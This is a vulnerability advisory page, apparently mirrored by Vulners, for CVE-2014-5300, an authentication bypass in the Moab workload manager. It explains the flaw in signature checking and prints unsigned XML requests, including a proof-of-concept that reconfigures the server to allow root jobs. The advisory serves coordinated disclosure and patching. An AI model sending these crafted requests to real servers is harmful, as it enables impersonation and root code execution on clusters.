Lucene search
K

Moab < 7.2.9 - Authorization Bypass

🗓️ 10 Oct 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 40 Views

Moab < 7.2.9 Authorization Bypass CVE-2014-530

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Moab Workload Manage 7.2.9 / 8 Dynamic Configuration Authentication Bypass Vulnerability
30 Sep 201400:00
zdt
CVE
CVE-2014-5300
8 Oct 201419:00
cve
Cvelist
CVE-2014-5300
8 Oct 201419:00
cvelist
Exploit DB
Moab &lt; 7.2.9 - Authentication Bypass
2 Oct 201400:00
exploitdb
exploitpack
Moab 7.2.9 - Authentication Bypass
2 Oct 201400:00
exploitpack
NVD
CVE-2014-5300
8 Oct 201419:55
nvd
Packet Storm
Moab Dynamic Configuration Authentication Bypass
30 Sep 201400:00
packetstorm
Prion
Authorization
8 Oct 201419:55
prion
securityvulns
Moab Authentication Bypass [CVE-2014-5300]
14 Oct 201400:00
securityvulns
securityvulns
Web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;
14 Oct 201400:00
securityvulns
Rows per page

                                                ##[Moab Authentication Bypass : CVE-2014-5300]##
 
Software: Moab
Affected Versions: All versions prior to Moab 7.2.9 and Moab 8
CVE Reference: CVE-2014-5300
Author: John Fitzpatrick, MWR Labs (http://labs.mwrinfosecurity.com/)
Severity: High Risk
Vendor: Adaptive Computing
Vendor Response: Resolved in Moab 7.2.9 and Moab 8
 
 
##[Description]
 
It is possible to bypass authentication within Moab in order to impersonate and run commands/operations as arbitrary users. The issue is believed to affect all versions of Moab prior to versions 7.2.9 and Moab 8.
 
 
##[Impact]
 
Successful exploitation could lead to remote code execution.
 
 
##[Cause]
 
The Moab server does not appropriately authenticate requests.
 
 
##[Solution]
 
Upgrade to Moab 7.2.9, Moab 8, or a later version of the software. Beta versions of Moab 8 are affected by this issue. This issue also affects versions of Moab which are using Munge for authentication.
 
This issue is believed to affect all instances of Moab prior to version 7.2.9 and 8. MWR are not aware of any alternate workaround for this issue.
 
 
##[Technical Details]
 
Moab is a workload manager used in High Performance Computing (HPC) environments. In a typical environment a user submits their jobs to the Moab server for it to handle the workload. This communication makes use of an XML based protocol, and example job submission is shown below:
 
&lt;Envelope component=&quot;ClusterScheduler&quot; count=&quot;1&quot; name=&quot;moab&quot; type=&quot;nonblocking&quot; version=&quot;8.0.beta.2&quot;&gt;
  &lt;Signature&gt;
    &lt;DigestValue&gt;7v49VzAlbyNQ4O3VChCus+v2LeE=&lt;/DigestValue&gt;
    &lt;SignatureValue&gt;QG13cmxhYnMgRWFzdGVyIEVnZyE=&lt;/SignatureValue&gt;
  &lt;/Signature&gt;
  &lt;Body actor=&quot;test&quot; timestamp=&quot;1408488412&quot;&gt;
    &lt;Request action=&quot;submit&quot; actor=&quot;test&quot; cmdline=&quot;\STARTmsub&quot;&gt;
      &lt;Object&gt;job&lt;/Object&gt;
      &lt;job&gt;
        &lt;Owner&gt;test&lt;/Owner&gt;
        &lt;UserId&gt;test&lt;/UserId&gt;
        &lt;GroupId&gt;test&lt;/GroupId&gt;
        &lt;InitialWorkingDirectory&gt;/home/test&lt;/InitialWorkingDirectory&gt;
        &lt;UMask&gt;2&lt;/UMask&gt;
        &lt;Executable&gt;/usr/bin/id&lt;/Executable&gt;
        &lt;SubmitLanguage&gt;PBS&lt;/SubmitLanguage&gt;
        &lt;SubmitString&gt;\START/usr/bin/id\0a\0a&lt;/SubmitString&gt;
      &lt;/job&gt;
    &lt;/Request&gt;
  &lt;/Body&gt;
&lt;/Envelope&gt;
 
Contained within this message is a &lt;Signature&gt; element, which contains both a &lt;DigestValue&gt; and &lt;SignatureValue&gt; elements. The &lt;DigestValue&gt; is simply a SHA1 sum of the &lt;Body&gt; element. The &lt;SignatureValue&gt;, however, is computed based upon a key (.moab.key) which is read by a setuid root binary (mauth) which performs some additional verification of the user before providing a signature for the message. This use of signatures is intended to prevent users from being able to craft arbitrary messages as the signature value is validated by the Moab server. Messages containing an incorrect signature for the message will be rejected.
 
However, whilst an incorrect SignatureValue results in a rejected message, it was found that if no signature is supplied then the signature checks are skipped and the remainder of the message processed. As a result it is possible to craft arbitrary messages and these messages will be accepted and honoured by the server as long as the message does not include a &lt;Signature&gt; element.
 
The following message contains no signature element and therefore will be accepted by the server:
 
&lt;Envelope component=&quot;ClusterScheduler&quot; count=&quot;1&quot; name=&quot;moab&quot; type=&quot;nonblocking&quot; version=&quot;8.0.beta.2&quot;&gt;
  &lt;Body actor=&quot;test&quot; timestamp=&quot;1408488412&quot;&gt;
    &lt;Request action=&quot;submit&quot; actor=&quot;test&quot; cmdline=&quot;\STARTmsub&quot;&gt;
      &lt;Object&gt;job&lt;/Object&gt;
      &lt;job&gt;
        &lt;Owner&gt;test&lt;/Owner&gt;
        &lt;UserId&gt;test&lt;/UserId&gt;
        &lt;GroupId&gt;test&lt;/GroupId&gt;
        &lt;InitialWorkingDirectory&gt;/home/test&lt;/InitialWorkingDirectory&gt;
        &lt;UMask&gt;2&lt;/UMask&gt;
 
        &lt;Executable&gt;/usr/bin/id&lt;/Executable&gt;
        &lt;SubmitLanguage&gt;PBS&lt;/SubmitLanguage&gt;
        &lt;SubmitString&gt;\START/usr/bin/id\0a\0a&lt;/SubmitString&gt;
      &lt;/job&gt;
    &lt;/Request&gt;
  &lt;/Body&gt;
&lt;/Envelope&gt;
 
With no signing taking place an adversary can specify arbitrary users for these operations to be performed under, and thus impersonate other users including executing jobs as other users.
 
 
##[Proof of Concept]
 
In addition to job submission Moab also provides the ability to dynamically reconfigure the Moab server remotely. Whilst a default Moab installation will not permit the submission of root jobs it is possible to exploit this vulnerability in order to dynamically reconfigure Moab to allow root job submissions. The following request achieves this and due to its simple nature makes a useful proof of concept (the timestamp value may require altering):
 
00000238
&lt;Envelope component=&quot;ClusterScheduler&quot; count=&quot;1&quot; name=&quot;moab&quot; version=&quot;8.0.beta.2&quot;&gt;&lt;Body actor=&quot;root&quot; timestamp=&quot;1404856164&quot;&gt;&lt;Request action=&quot;modify&quot; actor=&quot;root&quot; args=&quot;ALLOWROOTJOBS TRUE&quot;&gt;&lt;Object&gt;sched&lt;/Object&gt;&lt;/Request&gt;&lt;/Body&gt;&lt;/Envelope&gt;
 
Sending the entire message above (including the size value) will enable root jobs on a vulnerable server.
 
 
##[Detailed Timeline]
 
2014-07-08 : Vulnerability identified and detailed information passed to Adaptive
2014-07-09 : Adaptive inform MWR that code changes are being made to address the issue
2014-07-11 : Adaptive inform MWR that regression testing has identified an additional issue 
2014-07-14 : Moab 8 released
2014-08-20 : Limited status update provided by Adaptive suggesting a 7.2 fix will emerge
2014-09-08 : Release of advisory to HPC community
2014-09-16 : Moab 7.2.9 released
2014-09-25 : Public release of advisory 
 
 
http://labs.mwrinfosecurity.com
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Oct 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.14413
40